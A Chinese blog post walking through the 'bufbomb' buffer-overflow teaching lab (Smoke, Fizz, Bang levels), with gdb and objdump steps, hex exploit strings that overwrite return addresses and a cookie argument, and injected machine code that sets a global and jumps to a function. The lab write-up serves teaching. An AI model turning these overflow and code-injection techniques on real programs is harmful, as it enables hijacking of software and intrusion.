转载请注明出处:https://www.cnblogs.com/ustca/p/11735120.html

逆向工程【缓冲区溢出攻击】拓展:二进制炸弹反汇编

任务描述

掌握函数调用时的栈帧结构,利用输入缓冲区的溢出漏洞,将攻击代码嵌入当前程序的栈帧中,使程序执行我们所期望的过程。

主要方法

溢出的字符将覆盖栈帧上的数据,会覆盖程序调用的返回地址,这赋予了我们控制程序流程的能力。通过构造溢出字符串,程序将“返回”至我们想要的代码上。



实验包括三个可执行文件:

---| bufbomb为目标程序

---| makecookie可以生成bufbomb需要的输入参数的cookie(也可以在gdb调试时直接读取寄存器获得)

---| sendstring可以将ASCII码转成字符(实验用到了拓展ASCII码)

程序运行时栈帧结构

Level0:Somke

getbuf函数在test中被调用,当getbuf返回时继续执行第八行:

void test()
{
int val;
volatile int local = 0xdeadbeef;
entry_check(3); /* Make sure entered this function properly */
val = getbuf();
/* Check for corrupted stack */
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
......
}
}

Bufbomb中一个正常情况下不会被执行的函数:

void smoke()
{
entry_check(0); /* Make sure entered this function properly */
printf("Smoke!: You called smoke()\n");
validate(0);
exit(0);
}

攻击目标

在getbuf返回时跳到smoke函数执行。

思路

1、通过gdb调试得到我们输入的字符串首地址p/x $ebp-0xc

2、找到函数smoke的地址p/x &smoke

3、用smoke函数的地址覆盖getbuf的返回地址

操作

首先对可执行程序进行反汇编objdump -d bufbomb > bufbomb.s





反汇编得到的汇编码中,找到getbuf的代码段,可以看到缓冲区首地址为-0xc(%ebp),%eax

打开gdb调试,在Gets函数执行前设置断点b *0x8048fec

运行程序,输入测试字符:



得到缓冲区首地址为0xffffb16c



得到smoke函数入口地址0x8048e20

接下来只需要构造攻击字符串,使得字符串溢出部分覆盖返回地址,达到“返回”到smoke函数的目的。

根据程序运行时的栈帧结构,可以得到返回地址存储在ebp寄存器的后4字节,输入缓冲区大小为0xc+4,最终得到攻击字符串长度应该为0xc+4+4=20字节。

只要输入字符串的最后4字节为smoke函数入口地址即可跳转,前16字节数据可以为任意值,小端模式下攻击字符串如下:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 8e 04 08

将字符串保存到exploit1.txt文件中,使用./sendstring <exploit1.txt> exploit1_raw.txt将ASCII码转为实际字符。

执行程序测试运行结果./bufbomb -t USTCSA < exploit1_raw.txt

Level1:Fizz

另一函数

void fizz(int val)
{
entry_check(1); /* Make sure entered this function properly */
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}

攻击目标

“返回”到该函数并传送参数cookie

操作

原理与smoke相同,观察栈帧结构可以发现只需要在smoke攻击字串后面再继续覆盖调用栈帧的参数。



fizz入口地址为0x8048dc0.

与smoke相同,ebp+4为栈帧返回地址。

执行完ret指令后栈顶指针 %esp 会自动增加4以还原栈帧。

在fizz汇编代码段,cmp指令是将存放cookie的变量与%ebp+0x8处的值相比,此时参数地址也就是旧的ebp+4+8。

cookie值通过./makecookie USTCSA获得。

通过以上分析可以得到,fizz攻击的字符串与smoke相比,只需要将ebp之上4个字节的地址覆盖,然后再往上8字节填入cookie参数。

除了fizz的入口地址与cookie参数,其余字节都可以用任意值填充,得到一下攻击字符串。

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 8d 04 08 00 00 00 00 c1 5f d3 11

再使用sendstring获得新的攻击字符,执行程序测试运行结果

Level2:Bang

第三个函数

int global_value = 0;
void bang(int val)
{
entry_check(2); /* Make sure entered this function properly */
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else {
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
}

攻击目标

构造若干条指令,修改全局变量global_val,然后跳转到bang函数

(需要execstack工具解除栈执行限制)

操作

与smoke和fizz不同的是,这里不在是简单的纂改返回地址。因为涉及到修改全局变量,所以需要注入我们自己的代码,然后将返回地址篡改到攻击代码处执行,最后ret到bang函数。

通过前两个实验的分析,已经得知输入缓冲区最大有16字节的空间,而我们注入的代码正好只需要16字节空间。

以下是我们想要添加执行的汇编码:

movl	$0x11d35fc1, 0x804a1dc
push $0x8048d60
ret

movl指令将我们的cookie(11d35fc1)传递到0x804a1dc(cmp指令对比时的全局变量取值)

push指令将bang函数的入口地址压栈

ret指令返回我们最后压入的bang函数入口,实现跳转的效果



将我们自己写的汇编码保存,通过gcc将汇编码编译成机器码

gcc -m32 -c bang.s获得bang.o

再将机器码读取

objdump -d bang.o

bang.o:     file format elf32-i386

Disassembly of section .text:

00000000 <.text>:
0: c7 05 dc a1 04 08 c1 movl $0x11d35fc1,0x804a1dc
7: 5f d3 11
a: 68 60 8d 04 08 push $0x8048d60
f: c3 ret

c7 05 dc a1 04 08 c1

5f d3 11

68 60 8d 04 08

c3



获得我们自己想要操作的指令机器码。

只需要在这段字串后再加上缓冲区的首地址,用来覆盖原返回地址,可获得最后的攻击字符串:

c7 05 dc a1 04 08 c1 5f d3 11 68 60 8d 04 08 c3 6c b1 ff ff

使用sendstring获得新的攻击字符,执行程序测试运行结果



提示运行失败。。。。。。。。。

一直以为是自己哪里写错了,折腾了一下午

出现段错误是因为Linux系统默认开启了栈保护机制,用于阻止缓冲区溢出攻击

最新文章

  1. 代码在ie9中不能正确执行
  2. Oracle开机自启动
  3. 转:RabbitMQ基础知识
  4. 解决apache AH01630: client denied by server configuration错误
  5. Git图文教程:从零到上传GitHub项目
  6. 01-03-02-2【Nhibernate (版本3.3.1.4000) 出入江湖】CRUP操作-Save方法的一些问题
  7. linux 删除和安装java
  8. 简单实用的日志类CLog (Python版)
  9. 【懒人有道】在asp.net core中实现程序集注入
  10. 喵哈哈村的魔法考试 Round #1 (Div.2) 题解&amp;源码(A.水+暴力,B.dp+栈)
  11. OpenCV3.0 HDR(高动态范围)示例代码以及用法
  12. 强如 Disruptor 也发生内存溢出?
  13. C语言程序设计--执行命令
  14. Maven 搭建spring boot多模块项目(附源码),亲测可以,感谢原创
  15. 可靠的推送IM消息
  16. android端的ormlite框架
  17. squid中实现https的透明代理
  18. 不建议使用*{margin:0; padding:0}?
  19. CSAPP阅读笔记-汇编语言初探(算术和逻辑操作类指令)-来自第三章3.5的笔记-P128-P135
  20. django notes 一:开篇

热门文章

  1. charles 重写工具/rewrite Srttings
  2. 03 (OC)* UITableView优化
  3. 转:怎么用Sql语句获取一个数据库中的所有表的名字
  4. 导出 mysql 数据到 redis
  5. java selenium 自动化笔记-不是0基础,至少有java基础
  6. springboot值mybatis 别名等配置
  7. Case1-basic network framework/Related organization‘s name
  8. Eclipse利用Maven快速上手搭建MyBatis
  9. onethinkphp 添加钩子报错
  10. Java诊断利器Arthas